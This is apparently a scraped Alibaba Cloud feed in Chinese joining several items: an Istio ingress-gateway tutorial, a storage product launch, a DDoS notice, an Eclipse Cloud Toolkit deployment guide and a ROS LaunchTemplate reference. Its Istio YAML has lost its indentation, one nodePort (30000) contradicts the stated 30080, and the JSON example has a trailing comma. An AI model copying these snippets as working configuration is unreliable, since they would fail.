      • 第一个原因,Kubernetes Ingress 是一个面向 HTTP 工作负载的非常简单的规范。有 Kubernetes Ingress 的实现(如 Nginx、Heptio Contour 等),但每个都适用于 HTTP 流量。实际上,Ingress 规范只将端口 80 和端口 443 视为入口点。这严重限制了集群运维人员可以允许进入服务网格的流量类型。例如,如果你有 Kafka 工作负载,则可能希望向这些消息代理公开直接 TCP 连接;
      • 第二个原因,Kubernetes Ingress API 无法表达 Istio 的路由需求。Ingress 没有通用的方法来指定复杂的流量路由规则,如流量拆分或流量镜像等。这个领域缺乏规范会导致每个供应商重新设想如何更好地为每种类型的 Ingress 实现(如 HAProxy、Nginx 等)做好配置管理。Ingress 试图在不同的 HTTP 代理之间取一个公共的交集,因此只能支持最基本的 HTTP 路由;
      • 最后一个原因,由于事前没有明确规定,大多数供应商的选择是通过部署上的定制注释来做配置。供应商之间的注释各不相同,并且不可移植,如果 Istio 继续延续这种趋势,那么就会有更多的注释来解释 Envoy 作为边缘网关的所有功能。

      Istio 网关通过将 L4-L6 配置与 L7 配置分离克服了 Ingress 的这些缺点。Istio 网关只用于配置 L4-L6 功能(例如,对外公开的端口、TLS 配置),所有主流的 L7 代理均以统一的方式实现了这些功能。然后,通过在 Gateway 上绑定 VirtualService 的方式,可以使用标准的 Istio 规则来控制进入 Gateway 的 HTTP 和 TCP 流量。负载均衡器可以手动配置或通过服务自动配置其类型,例如 type: LoadBalancer。在这种情况下,由于并非所有云都支持自动配置,假设手动配置负载均衡器以将流量转发到 IngressGateway Service 正在侦听的端口。例如如下的负载均衡器正在监听以下端口:

      • HTTP:端口 80,将流量转发到端口 30080;
      • HTTPS:端口 443,将流量转发到端口 30443;
      • MySQL:端口 3306,将流量转发到端口 30306 确保负载均衡器配置转发到所有工作节点。这将确保即使某些节点关闭也会转发流量。

      入口网关服务

      IngressGateway 服务(入口网关服务)必须监听上节介绍的所有端口,以便能够将流量转发到 IngressGateway pod 上。Kubernetes 服务不是“真正的”服务,该请求将由 Kubernetes 提供的 kube-proxy 转发到具有运行对应 pod 的节点上。在节点上,IP table 配置将请求转发到适当的 pod:

      ports:

      • name: http2
        nodePort: 30000
        port: 80
        protocol: TCP
      • name: https
        nodePort: 30443
        port: 443
        protocol: TCP
      • name: mysql
        nodePort: 30306
        port: 3306
        protocol: TCP

      入口网关部署

      IngressGateway 部署是一个基于 Envoy 代理的封装,它的配置方式与服务网格中使用的 Sidecar 配置相同(实际上是同样的容器镜像)。当我们创建或更改一个 Gateway 或 VirtualService 时,Istio Pilot 控制器会检测到这些变更,并将这些变更信息转换为 Envoy 配置,然后将 Envoy 配置信息发送给相关 Envoy 代理,包括内部的 Envoy 和 IngressGateway 中的 Envoy。

      注意:这里不要混淆 IngressGateway 与 Gateway,Gateway 资源是用于配置 IngressGateway 的一种 Kubernetes 的自定义资源。

      由于不必在 Kubernetes pod 或部署中声明容器端口,因此我们不必在 IngressGateway Deployment 中声明端口。但是,如果查看部署内部,可以看到声明的许多端口。另外,在 IngressGateway 部署中需要关注 SSL 证书,为了能够访问 Gateway 资源内的证书,请确保已正确加载这些证书。

      网关资源

      网关资源用来配置 Envoy 的端口,前面的示例中已经使用该服务公开了三个端口,因此需要在 Envoy 中处理这些端口。此外,可以通过声明一个或多个 Gateways 来支持多端口能力。下面的示例中使用单个 Gateway,但可以分为两个或三个分别定义:

      apiVersion: networking.istio.io/v1alpha3
      kind: Gateway
      metadata:
      name: default-gateway
      namespace: istio-system
      spec:
      selector:

      istio: ingressgateway

      servers:

      • hosts:

        • '*'
          port:

        name: http
        number: 80
        protocol: HTTP

      • hosts:

        • '*'
          port:

        name: https
        number: 443
        protocol: HTTPS
        tls:
        mode: SIMPLE
        privateKey: /etc/istio/ingressgateway-certs/tls.key
        serverCertificate: /etc/istio/ingressgateway-certs/tls.crt

      • hosts: # For TCP routing this fields seems to be ignored, but it is matched

        • '' # with the VirtualService, I use since it will match anything.
          port:

        name: mysql
        number: 3306
        protocol: TCP

      网关虚拟服务

      VirtualService 资源与 Gateway 资源相互配合支持 Envoy 的配置。下面是一个支持 HTTP 服务的网关虚拟服务的基本配置:

      apiVersion: networking.istio.io/v1alpha3
      kind: VirtualService
      metadata:
      name: counter
      spec:
      gateways:

      • default-gateway.istio-system.svc.cluster.local
        hosts:
      • counter.lab.example.com
        http:
      • match:

        • uri:
          prefix: /

        route:

        • destination:

          host: counter
          port:
            number: 80
          

      现在,当我们添加一个 Gateway 和一个 VirtualService 时,路由已在 Envoy 配置中创建。要查看此内容,你可以使用如下命令:

      kubectl port-forward istio-ingressgateway-xxxx-yyyy-n istio-system 15000

      调试入口网关

      调试网络问题有时很困难,所以这里总结一些有用的命令用于调试。端口转发到第一个 istio-ingressgateway pod:

      kubectl -n istio-system port-forward $(kubectl -n istio-system get pods
      -listio=ingressgateway -o=jsonpath="{.items[0].metadata.name}") 15000

      然后,可以从端口转发的入口网关 pod 中获得 http 路由:

      Curl --silent http://localhost:15000/config_dump |jq .configs[3].dynamic_route_configs[].route_config.virtual_hosts[]

      image.png
      (端口转发的入口网关 pod)

      查看上述端口转发的入口网关 pod 的日志信息:

      kubectl -n istio-system logs $(kubectl -n istio-system get pods
      -listio=ingressgateway -o=jsonpath="{.items[0].metadata.name}") --tail=300

      查看 Pilot pod 的日志信息:

      kubectl -n istio-system logs $(kubectl -n istio-system get pods
      -listio=pilot -o=jsonpath="{.items[0].metadata.name}") discovery --tail=300

      当启动端口转发到入口网关 istio-ingressgateway 之后,可以执行更多操作以获取更多信息,例如:

      关于 Istio 的一些 Q&A

      Q1:Istio 在实际生产环境实践中都会遇到哪些瓶颈,常见的优化手段又都有哪些?
      A1:阿里云之所以推出服务网格 ASM 这个产品,就是把过去一两年支持客户使用 Istio 的过程中遇到的太多问题,总结成了经验并落地到产品中。所以多关注下这个产品的能力就会看到具体解决了哪些问题。在此就不一一赘述了。

      Q2:Istio 会导致性能消耗增加吗?
      A2:这个问题需要一个上下文,这就像问 Java 虚拟机会导致性能消耗吗。任何解耦总会带来一定的通信消耗。建议使用 Istio 前先判断下自己的应用是否适合解耦、服务化以及容器化,然后再看是否适合采用 Istio 的哪些功能。

      Q3:Service Mesh 是很好的工具,但是痛点也很明显,引入 Istio 会让运维更加复杂,阿里云服务网格产品 ASM 这方面有做什么改进?
      A3:阿里云服务网格 ASM 提供了一个全托管式的服务网格平台,兼容于社区 Istio 开源服务网格,用于简化服务的治理,并提供了简单易用的控制台,托管模式下让用户解脱控制面的复杂管理,极大地减轻开发与运维的工作负担。具体可以参考这个入门教程了解一下:https://help.aliyun.com/document_detail/149552.html

      Q4:最近在研究 Istio,有真正落地使用的例子吗?
      A4:过去一两年我们已经支持了大量客户使用 Istio,譬如有客户使用 Istio 流量管理来做应用的灰度发布,有客户使用它的统一的声明式的方式来管理入口网关,包括入口网关的 tls 透传功能、tls 终止以及动态加载证书的能力等等。

      Q5:目前阿里服务网格产品 ASM 针对 Istio 采用什么样的监控?
      A5:阿里云服务网格 ASM 的可观测性能力从三个维度提供了不同的能力,包括:

      Q6:阿里的 ASM 的 Proxy 会采用 MOSN 吗?期待 MOSN 成为 Istio 可选数据平面之一。
      A6:阿里云服务网格 ASM 从一开始的设计就是兼容于社区 Istio 开源服务网格,只要符合与 Istio 控制面规约要求的数据面代理,从理论上都是可以支持的。当然一个新代理的适配是需要一定量的开发工作,这儿我们也想了解下客户对于这方面的诉求。

      Q7:Istio 也有类似 Linkerd 的 mutls 功能吗?
      A7:Istio 默认已经提供了双向 tls 认证的功能,而且支持渐进式,包括 permissive 和 strict 两种方式。

      本文转自<阿里巴巴云原生技术圈>——阿里巴巴云原生小助手

      ]]>
      做深基础,助力新基建,阿里云多款存储产品正式发布-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 6月23日,阿里云存储新品发布会再次来袭,在数字新基建时代,阿里云存储产品将沿着“做深基础”的再生长方向,全面助力客户的数字化转型之路。
      lADPD2eDMulZQEnNAe3NAww_780_493.jpg

      1、日志服务SLS,进一步打造AI-DevOps的平台与生态

      阿里云推出的日志服务SLS已经成为行业领先的日志大数据平台,提供一站式数据采集、清洗、存储、分析、可视化和告警的功能。此次,日志服务SLS的时序监控与诊断平台正式发布,除了提供海量日志处理能力,还支持了时序监控数据存储与分析,提供更加便捷、高性能、低成本的时序监控诊断解决方案。
      日志.png

      同时,日志服务SLS发布了SIEM(Security information and event management ) 和 SOC(Security Operations Center)开放对接能力,企业客户可以利用日志服务SLS的日志统一采集和清洗能力,将云上系统的合规、安全等相关日志,统一导入到现有的安全运营中心(SOC)。本次,日志服务SLS的日志审计功能,也新增更多产品的覆盖,并提供修改删除保护策略,支持多账号、多地域、多产品的日志统一采集,并且开放与第三方SOC对接,更好地服务企业构建日志统一审计中心。此外,日志服务SLS还发布了K8S事件中心,满足客户在微服务、容器的技术趋势下,一站式对Kurbernets事件的实时采集、分析、告警和可视化需求。

      日志服务SLS已支持20多款云产品日志支持一键接入,并提供了分析模板、内置报表。本次发布,日志服务新增了IoT、Redis、MaxCompute日志源一键接入与分析,满足用户对IoT设备状态、Redis审计或慢请求和错误请求、MaxCompute操作日志的分析、异常告警、统计报表等需要。

      2、对象存储OSS,支持国密算法

      在安全这方面,合规监管以及安全性的要求将越来越严格,为了满足安全合规方面的诉求,对象存储OSS在原有的服务端加密功能的基础上,全面支持了国密算法。

      阿里云对象存储在加密方面的功能十分完善,不仅能支持用户可见、可管理的BYOK加密,同时能支持全托管加密方式以及基于KMS平台管理的加密方式,基于这三种不同的加密方式,在原有的仅支持AES256算法的基础上,又进一步的开发了对国密算法的支持,丰富了阿里云对象存储对加密算法的支持度,更好的满足了企业客户在安全合规上多维度的需求。

      除新的加密算法之外,对象存储OSS还针对数据湖场景中,临时目录中的文件重命名功能进行了优化,当对象存储接收到数据重命名的指令时,直接快速更新对象对应的元数据,而对象本身不做任何的操作,从而快速的实现文件的重命名动作,并达到亚秒级别的数据返回效率,实现“瞬时拷贝”。
      瞬间拷贝.jpg

      阿里云对象存储OSS还推出了Bucket 清单功能,只需要在控制台做简单的配置就可以定期地获取到针对Bucket粒度所有Object的列表,同时可以针对某个目录级别(前缀)来做分目录的清单导出,数据导出后可以根据业务诉求来做针对性的分析与处理。除此之外,Bucket 清单功能还能够与阿里云日志服务SLS结合使用实现业务数据分析的智能化与可视化。

      3、表格存储Tablestore,支持投递OSS,全面进入数据湖生态

      表格存储Tablestore是基于共享存储的高性能、低成本、易扩展、全托管的结构化大数据存储平台,支撑互联网、物联网等数据的高效计算与分析。目前,表格存储Tablestore作为承载钉钉核心消息系统的存储产品,经受住了移动办公浪潮的艰巨考验。

      此次,表格存储Tablestore发布了数据投递对象存储OSS功能,打造了一个可实现数据分层的数据湖方案。

      表格存储.png

      数据投递对象存储OSS兼容开源生态标准,支持按照Parquet等格式存储,支持Hive命名约定,无缝兼容Spark等计算生态。同时数据投递自动实时同步,可一键完成配置,无需维护复杂的datapipeline。基于这些特点,一方面针对近期的数据,表格存储Tablestore可以保证数据的实时可见性,支持数据点查与多维度检索,以及近期数据的分析查询;另一方面针对离线数据,投递对象存储OSS数据湖,实现分析的高效与成本的可控。

      在这样的数据湖方案中,表格存储Tablestore可以更好的发挥应用中数据的价值,广泛在电商、短视频、新闻等需要支持海量结构化数据存储、实时或离线分析的应用场景中,帮助客户更快、更省地对数据进行应用与分析。

      4、混合云存储网关,让上云更简单

      云存储网关以阿里云对象存储OSS为后端存储,为企业应用提供行业标准的文件存储(NFS/SMB)和iSCSI块存储等服务。云存储网关可以部署在客户数据中心,也可以部署在阿里云上,帮助客户简化存储管理,实现企业应用和阿里云存储服务的无缝对接。

      首先,云存储网关基于对象存储OSS,提供海量存储空间、智能对接低频/归档存储,冷热数据分层以及灵活的付费方式进一步降低TCO;其次,企业应用无需改造平滑上云,端到端数据加密保证客户数据安全;再次,在企业数据平滑上云、文件应用对接云存储、备份/归档、视频监控、机器学习等场景,云存储网关具有广泛的应用;最后,云存储网关集成了智能缓存算法,自动识别冷热数据,将热数据保留本地在本地缓存,保证数据访问体验,无感知的将海量云存储接入本地数据中心,拓展存储空间。同时在云端保留全量数据(冷+热)保证数据的一致性。

      在实际工作中,企业的分支机构之间数据的及时共享以及协作一直以来都是很大的挑战,云存储网关在配合对象存储OSS,同时借助传输加速等方案,帮助客户解决了多站点数据共享的问题,实现了全球多站点文件共享(Multi-site Sync and Sharing)。
      网关.png

      首先,实现跨区域部署,全局统一命名空间,多站点文件共享与协同;其次,文件属性即时同步,文件数据按需拉取;第三,支持多个文件网关间数据亚秒级同步。目前,该方案已经满足某自动驾驶公司将新增数十万张图片由总部分发到不同地域做AI计算的实际需求。

      5、ESSD云盘新规格发布,降低全闪门槛

      全闪存储已成趋势,但使用门槛仍然很高,阿里云此次全新发布的入门级全闪云盘规格——ESSD PL0。
      ESSD云盘.png

      ESSD PL0作为ESSD系列入门级规格,采用与ESSD系列相同的技术架构,同样拥有亚毫秒级别的延时,单卷最大支持10000的IOPS。相比于上一代入门级云盘,每月仅需多花0.15元/GB,即可使用全闪云盘,大幅降低了全闪存储的使用门槛,并且可以与阿里云第六代增强型实例完美搭配。

      ESSD PL0适用于多种业务场景。例如:小型数据库场景、DevOps场景、系统盘场景。线上实测“搭载ESSD PL0的六代增强型实例”启动速度提升了60%以上;此外针对DevOps场景,基于ESSD系列云盘的“本地快照”特性,能够在数十秒内快速完成快照创建以及云盘创建操作,将业务等待时间缩短至分钟级别;针对小型数据库场景,基于ESSD PL0云盘搭建的数据库实测TPS性能相比于高效云盘提升2倍以上。

      此次全新发布的ESSD PL0 采用NVMe存储介质,最大程度上释放阿里云的技术红利。这也是业内唯一一款基于“RDMA网络架构+NVMe存储介质”的入门级云盘。ESSD PL0的发布使得ESSD系列的使用门槛降低50%,且后续支持无损变配到ESSD系列更高规格,普惠阿里云上百万客户。目前ESSD PL0已经在北京、杭州区域公测上线。

      ]]>
      【其他】6月30日DDoS防护能力调整通知 Fri, 02 May 2025 09:39:04 +0800 【阿里云】【DDoS高防】【防护能力调整通知

      调整时间:北京时间2020年6月30日 23:00 - 24:00

      调整内容:DDoS高防(旧版)防护能力调整后,最大支持300G防护能力,不再提供保底和弹性大于300G的防护服务
      调整影响:调整期间,业务无影响。如果您正在使用DDoS高防(旧版)并且需要大于300G防护能力,我们提供平滑切换到DDoS高防(新BGP)的免费迁移服务,DDoS高防(新BGP)可以满足您大于300G的防护能力需求。给您带来的不便敬请谅解,有任何问题,可随时通过工单或服务电话95187联系反馈。


      ]]>
      在 Eclipse 中使用 Cloud Toolkit 快速部署应用至 ECS 集群_使用工具部署应用_应用部署_ECS集群用户指南_企业级分布式应用服务 EDAS-阿里云 Fri, 02 May 2025 09:39:04 +0800 在 Eclipse 中使用 Cloud Toolkit 快速部署应用至 ECS 集群

      更新时间:2020-06-08 10:54:43

      本页目录

      您在本地完成应用的开发、调试和测试后,可以使用在本地 IDE (现已支持 Eclipse、IntelliJ IDEA)中安装的 Cloud Toolkit 插件连接到云端部署环境并将应用快速部署到 EDAS 的 ECS 集群中。本文档将向您介绍如何在 Eclipse 中安装 Cloud Toolkit,并使用 Cloud Toolkit 快速部署一个应用到 EDAS。

      前提条件

      步骤一:安装 Cloud Toolkit

      1. 启动 Eclipse。
      2. 在菜单栏中选择Help > Install New Software
      3. Available Software 对话框的 Work with 文本框中输入 Cloud Toolkit for Eclipse 的 URL http://toolkit.aliyun.com/eclipse/
      4. 在下面的列表区域中勾选需要的组件 Alibaba Cloud Toolkit CoreAlibaba Cloud Toolkit Deployment Tools,并在下方 Details 区域中不勾选 Connect all update sites during install to find required software。完成组件选择之后,单击Nextedas-cloudtoolkit-installconfig.png
      5. 按照 Eclipse 安装页面的提示,完成后续安装步骤。

        注意 安装过程中可能会提示没有数字签名,选择 Install anyway 即可。

      6. Cloud Toolkit 插件安装完成后,重启 Eclipse,您可以在工具栏看到 Alibaba Cloud Toolkit 的图标。 edas-cloudtoolkit-toolbaricon.png

      步骤二:配置 Cloud Toolkit 账号

      您需使用 Access Key ID 和 Access Key Secret 来配置 Cloud Toolkit 的账号。

      1. 启动 Eclipse。
      2. 在工具栏单击 Alibaba Cloud Toolkit 图标右侧的下拉按钮,在下拉菜单中单击 Alibaba Cloud Preference
      3. Preference (Filtered) 对话框的左侧导航栏中单击 Accounts
      4. Accounts 界面中设置 Access Key IDAccess Key Secret,然后单击 OK

        注意 如果您使用子账号的Access Key ID和Access Key Secret,请确认该子账号至少拥有部署应用的权限,具体操作方式请参见子账号管理

        edas-cloudtoolkit-config-AK-SK.png
        • 如果您已经注册过阿里云账号,在 Accounts 界面中单击 Manage existing Acount,进入阿里云登录页面。用已有账号登录后,跳转至安全信息管理页面,获取 Access Key IDAccess Key Secret
        • 如果您还没有阿里云账号,在 Accounts 界面中单击 Sign up,进入阿里云账号注册页面,注册账号。注册完成后按照上述方式获取 Access Key IDAccess Key Secret

        说明 如果使用 EDAS 专有云企业版,还需要按以下步骤在 Cloud Toolkit 中配置 Endpoint。其中,Endpoint 请联系 EDAS 技术支持获取。

        1. Preference (Filtered) 对话框的左侧导航栏中选择 Appearance & BehaviorEndpoint
        2. Endpoint 界面中设置 Endpoint,配置完成后,单击 Apply and Close

      步骤三:将应用部署到 EDAS

      目前支持使用 Cloud Toolkit 插件将应用通过 WAR 包或 JAR 包部署到 EDAS。

      1. 在 Eclipse 界面左侧的Package Explorer 中右键单击您的应用工程名,在弹出的下拉菜单中选择Alibaba Cloud > Deploy to EDAS
      2. Deploy to EDAS 的运行配置页面,配置应用部署参数,然后单击 Deploy

        说明 如果您还没有在 EDAS 上创建应用,在对话框右上角单击 Create application on EDAS console…,跳转到 EDAS 控制台创建应用。

        edas-cloudtoolkit-eclipse-config-APP.png

        在配置页面中根据您的实际需求选择应用的 RegionNamespaceApplicationGroup

        • Region:应用所在地域。
        • Namespace:应用所在命名空间。
        • Application:应用名称。
        • Group:应用分组。

        注意 如果在应用列表中获取不到应用,请参见常见问题:应用列表获取不到应用进行操作排查。

        1. 设置构建方式。
          • Maven Build:选择 Maven Build 方式来构建应用时,系统会默认添加一个 Maven 任务来构建部署包。
          • Upload File:选择 Upload File 方式来构建应用时,选择上传您的 WAR 包或者 JAR 包,然后进行部署。
        2. 设置应用的版本描述信息和分批部署信息。
          • Version:部署版本。
          • Description:部署信息描述。
          • Batch:分批数。如果您的应用有多个分组,并且在部署时选择部署全部分组,那么将会自动按照分组粒度来分批,Batch 值不用设置。
          • BatchWaitTime:分批部署等待时间,单位为分钟。

          注意 如果您的插件界面没有分批部署设置模块,请将您的插件升级至最新版本。

      3. 部署开始后,Eclipse 的 Console 区域会打印部署日志。您可以根据日志信息检查部署结果。

      步骤四:终止 Cloud Toolkit 插件运行

      在插件运行过程中,如果想停止插件运行,可以在 Progress 页面终止 EDAS-deploy 进程。

      Progress

      常见问题:应用列表获取不到应用

      通常出现这种情况为使用子账号来部署应用,且子账号没有同步到 EDAS 系统或者没有进行正确授权,从而导致在应用列表下拉框中看不到应用。您可以通过 RAM 授权或 EDAS 子账号授权来确保子账号已经同步到 EDAS 并且得到授权。

      RAM 授权

      该授权方式可使子账号访问 EDAS 的所有资源。

      1. RAM 控制台左侧导航栏中选择人员管理 > 用户
      2. 用户页面上找到需要授权的子用户,单击操作列中的添加权限
      3. 添加权限面板的选择权限区域中,搜索 AliyunEDASFullAccess 权限,单击权限策略将其添加至右侧的已选择列表中,然后单击确定
      4. 添加权限授权结果页面上,查看授权信息摘要,并单击完成
      5. 使用主账号登录 EDAS 控制台,在左侧导航栏选择系统管理 > 子账号,单击子账号页面右上角的同步子账号

      EDAS 子账号授权

      该授权方式可使子账号细粒度授权访问 EDAS 的资源。

      1. 使用主账号登录 EDAS 控制台
      2. 在左侧导航栏选择系统管理 > 角色,单击角色页面右上角的创建角色
      3. 输入一个角色名称,在可选权限区域框中,选择应用管理 > 应用列表 > 基本信息 > 部署应用,单击添加将部署应用角色添加到已选权限,然后单击确定
      4. 在左侧导航栏选择系统管理 > 子账号,单击子账号页面右上角的同步子账号
      5. 选择需进行授权的子账号,在操作列单击管理角色,在左侧搜索框中搜索并选择上面创建的角色,将该角色添加到右侧已选角色列表中,然后单击确定
      6. 选择需进行授权的子账号,在操作列单击授权应用,选择应用添加到右侧列表进行授权,然后单击确定

      问题反馈

      • 若您在使用 Cloud Toolkit 的过程中遇到问题,请首先查看常见问题并自助排查。

      • 若您需要进一步的帮助或想参与 Cloud Toolkit 的开发和升级,请加入我们的创造营。加入方式如下:

        • 使用钉钉扫描以下二维码,或搜索群号(30028976)加入钉钉群。钉钉群二维码4群
        • 使用微信扫描以下二维码,或搜索微信账号(nichao862)添加好友,待验证通过后产品经理将拉您进入微信群。微信二维码

      ]]> ALIYUN::ECS::LaunchTemplate_ECS_资源类型_资源编排-阿里云 Fri, 02 May 2025 09:39:04 +0800 ALIYUN::ECS::LaunchTemplate

      更新时间:2020-02-25 10:39:39

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      ALIYUN::ECS::LaunchTemplate类型可用于创建ECS实例启动模板。

      语法

      {
        "Type": "ALIYUN::ECS::LaunchTemplate",
        "Properties": {
          "LaunchTemplateName": String,
          "VersionDescription": String,
          "ImageId": String,
          "InstanceType": String,
          "SecurityGroupId": String,
          "NetworkType": String,
          "VSwitchId": String,
          "InstanceName": String,
          "Description": String,
          "InternetMaxBandwidthIn": Integer,
          "InternetMaxBandwidthOut": Integer,
          "HostName": String,
          "ZoneId": String,
          "SystemDiskCategory": String,
          "SystemDiskSize": Number,
          "SystemDiskDiskName": String,
          "SystemDiskDescription": String,
          "IoOptimized": String,
          "InternetChargeType": String,
          "UserData": String,
          "KeyPairName": String,
          "RamRoleName": String,
          "AutoReleaseTime": String,
          "SpotStrategy": String,
          "SpotPriceLimit": String,
          "SecurityEnhancementStrategy": String,
          "DiskMappings": List,
          "NetworkInterfaces": List,
          "Tags": List,
          "TemplateTags": List
        }
      }

      属性

      属性名称 类型 必须 允许更新 描述 约束
      LaunchTemplateName String 实例启动模板名称。 长度为[2, 128]个英文或中文字符。必须以大小字母或中文开头,不能以http://和https://开头。可以包含数字、半角冒号(:)、下划线(_)或者连字符(-)。
      VersionDescription String 实例启动模板版本1描述。 长度为[2, 256]个英文或中文字符,不能以http://和https://开头。
      ImageId String 镜像ID。
      InstanceType String 实例类型。
      SecurityGroupId String 安全组ID。
      NetworkType String 实例网络类型。

      取值范围:

      classic:经典网络。

      vpc:VPC网络。

      VSwitchId String 创建VPC类型实例时需要指定虚拟交换机ID。
      InstanceName String 实例名称。 长度为[2, 128]个英文或中文字符。必须以大小字母或中文开头,不能以http://和https://开头。可以包含数字、半角冒号(:)、下划线(_)或者连字符(-)。
      Description String 实例描述。 长度为[2, 256]个英文或中文字符,不能以http://和https://开头。
      InternetMaxBandwidthIn Integer 公网入带宽最大值,单位为Mbit/s。 取值范围:[1,200]。
      InternetMaxBandwidthOut Integer 公网出带宽最大值,单位为Mbit/s。 取值范围:[0, 100]。
      HostName String 实例主机名。

      点号(.)和短横线(-)不能作为首尾字符,更不能连续使用。

      Windows实例:

      字符长度为[2, 15],不支持点号(.),不能全是数字。允许大小写英文字母、数字和短横线(-)。

      其他类型实例(Linux等):

      字符长度为[2, 64],支持多个点号(.),点之间为一段,每段允许大小写英文字母、数字和短横线(-)。

      ZoneId String 实例所属的可用区ID。
      SystemDiskCategory String 系统盘的磁盘种类。 取值范围:

      cloud:普通云盘。

      cloud_efficiency:高效云盘。

      cloud_ssd:SSD云盘。

      ephemeral_ssd:本地SSD盘。

      SystemDiskSize Number 系统盘大小,单位为GiB。 取值范围:[20, 500]
      SystemDiskDiskName String 系统盘名称。 长度为[2, 128]个英文或中文字符。必须以大小字母或中文开头,不能以http://和https://开头。可以包含数字、半角冒号(:)、下划线(_)或者连字符(-)。
      SystemDiskDescription String 系统盘描述。 长度为[2, 256]个英文或中文字符,不能以http://和https://开头。
      IoOptimized String 是否为I/O优化实例。

      取值范围:

      none:非I/O优化。

      optimized:I/O优化。

      InternetChargeType String 网络付费类型。

      取值范围:

      PayByBandwidth:按带宽计费。

      PayByTraffic:按流量计费。

      UserData String 实例自定义数据。 需要以Base64方式编码,原始数据最多为16 KB。
      KeyPairName String 密钥对名称。 Windows实例,忽略该参数。默认为空。即使填写了该参数,仍旧只执行Password的内容。Linux实例的密码登录方式会被初始化成禁止。
      RamRoleName String 实例RAM角色名称。
      AutoReleaseTime String 实例自动释放时间。 按照ISO8601标准表示,并需要使用UTC时间,格式为yyyy-MM-ddTHH:mm:ssZ。
      SpotStrategy String 后付费实例的抢占策略。

      当创建实例接口中的InstanceChargeType参数取值为PostPaid时为生效。

      取值范围:

      NoSpot:正常按量付费实例。

      SpotWithPriceLimit:设置上限价格的抢占式实例。

      SpotAsPriceGo:系统自动出价,最高按量付费价格。

      SpotPriceLimit String 设置实例的每小时最高价格。 支持最多3位小数。
      SecurityEnhancementStrategy String 是否开启安全加固。

      取值范围:

      Active:启用。

      Deactive:不启用。

      DiskMappings List 数据盘列表。 最多16个。
      NetworkInterfaces List 弹性网卡列表。 最多8个。
      Tags List 实例、安全组、磁盘和网卡的标签列表 最多20个
      TemplateTags List 启动模板的标签列表。 最多20个。

      DiskMappings语法

      "DiskMappings": [
        {
          "Category": String,
          "DiskName": String,
          "Description": String,
          "SnapshotId": String,
          "Size": String,
          "Encrypted": String,
          "DeleteWithInstance": String
        }
      ]

      DiskMappings属性

      属性名称 类型 必须 允许更新 描述 约束
      Category String 数据盘的磁盘种类。

      取值范围:

      cloud:普通云盘。

      cloud_efficiency:高效云盘。

      cloud_ssd:SSD云盘。

      ephemeral_ssd:本地SSD盘。

      DiskName String 数据盘名称。 长度为[2, 128]个英文或中文字符。必须以大小字母或中文开头,不能以http://和https://开头。可以包含数字、半角冒号(:)、下划线(_)或者连字符(-)。
      Description String 数据盘描述。 长度为[2, 256]个英文或中文字符,不能以http://和https://开头。
      SnapshotId String 创建数据盘使用的快照。
      Size String 系统盘大小,单位为GiB。

      取值范围:

      cloud:[5, 2000]。

      cloud_efficiency:[20, 32768]。

      cloud_ssd:[20, 32768]。

      ephemeral_ssd:[5, 800]。

      Encrypted Boolean 是否加密数据盘。
      DeleteWithInstance Boolean 数据盘是否随实例释放而释放。

      NetworkInterfaces语法

      "NetworkInterfaces": [
        {
          "PrimaryIpAddress": String,
          "VSwitchId": String,
          "SecurityGroupId": String,
          "NetworkInterfaceName": String,
          "Description": String
        }
      ]

      NetworkInterfaces属性

      属性名称 类型 必须 允许更新 描述 约束
      PrimaryIpAddress String 弹性网卡的主私有IP地址。
      VSwitchId String 弹性网卡所属的虚拟交换机ID。
      SecurityGroupId String 弹性网卡所属的安全组ID。
      NetworkInterfaceName String 弹性网卡名称。
      Description String 弹性网卡描述信息。 长度为[2, 256]个英文或中文字符,不能以http://和https://开头。

      Tags语法

      "Tags": [
        {
          "Value": String,
          "Key": String
        }
      ]

      Tags属性

      属性名称 类型 必须 允许更新 描述 约束
      key String
      value String

      TemplateTags语法

      "TemplateTags": [
        {
          "Value": String,
          "Key": String
        }
      ]

      TemplateTags属性

      属性名称 类型 必须 允许更新 描述 约束
      key String
      value String

      返回值

      Fn::GetAtt
      • LaunchTemplateId: 实例启动模板ID。
      • LaunchTemplateName:实例启动模板名称。
      • DefaultVersionNumber:实例启动模板默认版本号。
      • LatestVersionNumber:实例启动模板最新版本号。

      示例

      {
        "ROSTemplateFormatVersion": "2015-09-01",
        "Resources": {
          "Template1": {
            "Type": "ALIYUN::ECS::LaunchTemplate",
            "Properties": {
              "LaunchTemplateName": "MyTemplate",
              "VersionDescription": "Launch template with all properties set",
              "ImageId": "m-2ze9uqi7wo61hwep5q52",
              "InstanceType": "ecs.n4.small",
              "SecurityGroupId": "sg-2ze8yxgempcdsq3iucsi",
              "NetworkType": "vpc",
              "VSwitchId": "vsw-2zei67xd9nhcqxzec7qt7",
              "InstanceName": "InstanceName",
              "Description": "Description of template",
              "InternetMaxBandwidthIn": 100,
              "InternetMaxBandwidthOut": 200,
              "HostName": "tttinfo",
              "ZoneId": "cn-beijing-a",
              "SystemDiskCategory": "cloud_ssd",
              "SystemDiskSize": "40",
              "SystemDiskDiskName": "TheSystemDiskName",
              "SystemDiskDescription": "The system disk description",
              "IoOptimized": "optimized",
              "InternetChargeType": "PayByBandwidth",
              "UserData": "dGhpcyBpcyBhIHVzZXIgZGF0YSBleG1hcGxl",
              "KeyPairName": "ThisIsKeyPair",
              "RamRoleName": "ThisIsRamRole",
              "AutoReleaseTime": "2050-10-01T00:00:00Z",
              "SpotStrategy": "SpotWithPriceLimit",
              "SpotPriceLimit": "100.001",
              "SecurityEnhancementStrategy": "Active",
              "DiskMappings": [
                {
                  "Category": "cloud_ssd",
                  "Size": 40,
                  "SnapshotId": "s-2ze1fr2bipove27bn9mz",
                  "Encrypted": true,
                  "DiskName": "dataDisk1",
                  "Description": "I am data disk 1",
                  "DeleteWithInstance": true
            },
            {
                  "Category": "cloud_efficiency",
                  "Size": 20,
                  "SnapshotId": "s-2ze4k0w8b33mlsqu4tl6",
                  "Encrypted": false,
                  "DiskName": "dataDisk2",
                  "Description": "I am data disk 2",
                  "DeleteWithInstance": true
             }
           ],
           "NetworkInterfaces": [
             {
                  "PrimaryIpAddress": "10.10.1.1",
                  "VSwitchId": "vsw-2zetgeiqlemyok9z5j2em",
                  "SecurityGroupId": "sg-2ze8yxgempcdsq3iucsi",
                  "NetworkInterfaceName": "my-eni1",
                  "Description": "My eni 1"
              },
           ],
           "Tags": [
                {
                  "Key": "key1",
                  "Value": "value1"
                },
                {
                  "Key": "key2",
                  "Value": "value2"
                }
               ],
           "TemplateTags": [
             {
                  "Key": "templateKey1",
                  "Value": "templateValue1"
